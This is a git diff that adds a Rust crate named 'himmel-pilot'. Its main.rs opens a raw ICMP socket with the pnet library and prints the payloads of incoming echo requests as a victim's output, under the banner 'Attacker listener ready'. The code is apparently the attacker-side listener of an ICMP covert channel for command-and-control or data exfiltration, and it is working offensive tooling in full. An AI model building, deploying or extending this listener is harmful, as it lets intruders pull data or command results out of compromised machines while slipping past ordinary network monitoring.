diff options
Diffstat (limited to 'pilot')
-rw-r--r-- | pilot/Cargo.toml | 7 | ||||
-rw-r--r-- | pilot/src/main.rs | 36 |
2 files changed, 43 insertions, 0 deletions
diff --git a/pilot/Cargo.toml b/pilot/Cargo.toml new file mode 100644 index 0000000..2431931 --- /dev/null +++ b/pilot/Cargo.toml @@ -0,0 +1,7 @@ +[package] +name = "himmel-pilot" +version = "0.1.0" +edition = "2024" + +[dependencies] +pnet = { version = "0.31.0", features = ["std"] } diff --git a/pilot/src/main.rs b/pilot/src/main.rs new file mode 100644 index 0000000..b5373fe --- /dev/null +++ b/pilot/src/main.rs @@ -0,0 +1,36 @@ +use std::net::IpAddr; +use pnet::packet::{Packet}; +use pnet::packet::icmp::{IcmpTypes, echo_request, IcmpPacket}; +use pnet::transport::{icmp_packet_iter, transport_channel, TransportChannelType, TransportProtocol}; +use pnet::packet::ip::IpNextHeaderProtocols; + +fn main() { + let protocol = TransportChannelType::Layer4(TransportProtocol::Ipv4(IpNextHeaderProtocols::Icmp)); + let (_tx, mut rx) = transport_channel(1024, protocol).expect("Failed to open channel"); + + println!("[*] Attacker listener ready — waiting for victim’s output..."); + + let mut iter = icmp_packet_iter(&mut rx); + + while let Ok((packet, sender_ip)) = iter.next() { + println!("Got ICMP packet from {} type: {:?}", sender_ip, packet.get_icmp_type()); + if packet.get_icmp_type() == IcmpTypes::EchoRequest { + if let Some(req) = echo_request::EchoRequestPacket::new(packet.packet()) { + let data = req.payload(); + if !data.is_empty() { + println!( + "[<] From {} | ID={} SEQ={} | Output:\n{}", + sender_ip, + req.get_identifier(), + req.get_sequence_number(), + String::from_utf8_lossy(data) + ); + } else { + println!("[<] From {} | ID={} SEQ={} | No payload", sender_ip, req.get_identifier(), req.get_sequence_number()); + } + } else { + println!("Malformed ICMP Echo Request packet"); + } + } + } +} |